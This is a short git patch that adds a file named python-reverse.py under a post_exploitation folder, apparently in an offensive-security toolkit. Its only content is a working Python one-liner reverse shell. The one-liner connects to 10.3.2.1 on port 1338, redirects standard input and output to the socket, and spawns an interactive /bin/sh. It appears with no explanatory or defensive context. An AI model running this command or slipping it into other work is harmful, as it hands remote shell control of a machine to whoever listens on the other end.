From a41e476789d9042841e26db05a306b87299060c9 Mon Sep 17 00:00:00 2001 From: Omar Santos Date: Thu, 18 Mar 2021 01:27:56 -0400 Subject: [PATCH] Create python-reverse.py --- post_exploitation/python-reverse.py | 1 + 1 file changed, 1 insertion(+) create mode 100644 post_exploitation/python-reverse.py diff --git a/post_exploitation/python-reverse.py b/post_exploitation/python-reverse.py new file mode 100644 index 0000000..81a0f7e --- /dev/null +++ b/post_exploitation/python-reverse.py @@ -0,0 +1 @@ +python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.3.2.1",1338));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'